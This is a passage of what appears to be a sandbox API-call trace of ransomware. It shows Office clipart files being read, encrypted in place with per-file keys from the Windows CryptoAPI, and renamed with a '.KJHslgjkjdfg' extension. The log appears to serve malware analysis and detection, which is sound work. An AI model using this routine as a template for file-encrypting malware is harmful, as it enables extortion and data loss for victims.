returned 0x2bdd90 [0185.274] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0185.274] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0185.274] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x2, lpOverlapped=0x0) returned 1 [0185.277] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.277] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.277] GetProcessHeap () returned 0x2a0000 [0185.362] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0185.363] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0185.363] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.363] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0185.363] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0185.363] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0185.363] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0185.363] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0185.363] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0185.363] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.363] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.363] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.363] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x16ae, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x16ae, lpOverlapped=0x0) returned 1 [0185.367] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x16b0, dwBufLen=0x16b0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x16b0) returned 1 [0185.367] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.368] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x16b0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x16b0, lpOverlapped=0x0) returned 1 [0185.368] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.368] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1784, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.368] SetEndOfFile (hFile=0x114) returned 1 [0185.370] GetProcessHeap () returned 0x2a0000 [0185.370] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0185.370] GetProcessHeap () returned 0x2a0000 [0185.370] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0185.370] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01354_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01354_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01354_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01354_.wmf.kjhslgjkjdfg")) returned 1 [0185.372] CloseHandle (hObject=0x114) returned 1 [0185.372] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf0b7f00, ftCreationTime.dwHighDateTime=0x1bd4b3c, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcf0b7f00, ftLastWriteTime.dwHighDateTime=0x1bd4b3c, nFileSizeHigh=0x0, nFileSizeLow=0x4732, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA01356_.WMF", cAlternateFileName="")) returned 1 [0185.372] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01356_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01356_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0185.373] GetProcessHeap () returned 0x2a0000 [0185.373] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0185.373] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0185.373] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0185.373] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xe, lpOverlapped=0x0) returned 1 [0185.375] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.375] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.375] GetProcessHeap () returned 0x2a0000 [0185.375] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0185.375] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0185.376] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.376] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0185.376] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0185.376] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0185.376] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0185.376] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0185.376] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0185.376] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.376] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.376] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.376] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x4732, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x4732, lpOverlapped=0x0) returned 1 [0185.377] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4740, dwBufLen=0x4740 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4740) returned 1 [0185.377] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.378] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4740, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x4740, lpOverlapped=0x0) returned 1 [0185.378] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.378] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x4814, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.378] SetEndOfFile (hFile=0x114) returned 1 [0185.380] GetProcessHeap () returned 0x2a0000 [0185.380] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0185.380] GetProcessHeap () returned 0x2a0000 [0185.380] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0185.380] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01356_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01356_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01356_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01356_.wmf.kjhslgjkjdfg")) returned 1 [0185.382] CloseHandle (hObject=0x114) returned 1 [0185.382] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdda5200, ftCreationTime.dwHighDateTime=0x1bd4b3c, ftLastAccessTime.dwLowDateTime=0x594f87d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcdda5200, ftLastWriteTime.dwHighDateTime=0x1bd4b3c, nFileSizeHigh=0x0, nFileSizeLow=0x6bf6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA01357_.WMF", cAlternateFileName="")) returned 1 [0185.382] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01357_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01357_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0185.383] GetProcessHeap () returned 0x2a0000 [0185.383] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0185.383] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0185.383] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0185.383] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0185.385] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.385] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.385] GetProcessHeap () returned 0x2a0000 [0185.385] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0185.385] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0185.385] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.385] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0185.385] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0185.385] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0185.385] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0185.385] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0185.385] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0185.385] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.385] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.385] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.385] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x6bf6, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x6bf6, lpOverlapped=0x0) returned 1 [0185.386] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x6c00, dwBufLen=0x6c00 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x6c00) returned 1 [0185.386] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.386] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x6c00, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x6c00, lpOverlapped=0x0) returned 1 [0185.387] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.387] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x6cd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.387] SetEndOfFile (hFile=0x114) returned 1 [0185.389] GetProcessHeap () returned 0x2a0000 [0185.389] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0185.389] GetProcessHeap () returned 0x2a0000 [0185.389] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0185.389] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01357_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01357_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01357_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01357_.wmf.kjhslgjkjdfg")) returned 1 [0185.390] CloseHandle (hObject=0x114) returned 1 [0185.391] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcca92500, ftCreationTime.dwHighDateTime=0x1bd4b3c, ftLastAccessTime.dwLowDateTime=0x594f87d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcca92500, ftLastWriteTime.dwHighDateTime=0x1bd4b3c, nFileSizeHigh=0x0, nFileSizeLow=0xd6e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA01358_.WMF", cAlternateFileName="")) returned 1 [0185.391] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01358_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01358_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0185.392] GetProcessHeap () returned 0x2a0000 [0185.392] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0185.392] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0185.392] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0185.392] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x2, lpOverlapped=0x0) returned 1 [0185.394] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.394] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.394] GetProcessHeap () returned 0x2a0000 [0185.394] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0185.394] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0185.394] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.395] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0185.395] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0185.395] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0185.395] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0185.395] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0185.395] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0185.395] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.395] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.395] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.395] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xd6e, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xd6e, lpOverlapped=0x0) returned 1 [0185.395] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xd70, dwBufLen=0xd70 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xd70) returned 1 [0185.395] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.395] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xd70, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xd70, lpOverlapped=0x0) returned 1 [0185.395] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.395] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xe44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.395] SetEndOfFile (hFile=0x114) returned 1 [0185.398] GetProcessHeap () returned 0x2a0000 [0185.398] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0185.398] GetProcessHeap () returned 0x2a0000 [0185.398] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0185.398] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01358_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01358_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01358_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01358_.wmf.kjhslgjkjdfg")) returned 1 [0185.399] CloseHandle (hObject=0x114) returned 1 [0185.399] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6b34400, ftCreationTime.dwHighDateTime=0x1bd4b3c, ftLastAccessTime.dwLowDateTime=0x6a370b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6b34400, ftLastWriteTime.dwHighDateTime=0x1bd4b3c, nFileSizeHigh=0x0, nFileSizeLow=0x1b74, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA01361_.WMF", cAlternateFileName="")) returned 1 [0185.399] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01361_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01361_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0185.400] GetProcessHeap () returned 0x2a0000 [0185.400] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0185.400] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0185.400] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0185.400] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0185.402] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.402] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.402] GetProcessHeap () returned 0x2a0000 [0185.403] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0185.403] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0185.403] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.403] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, 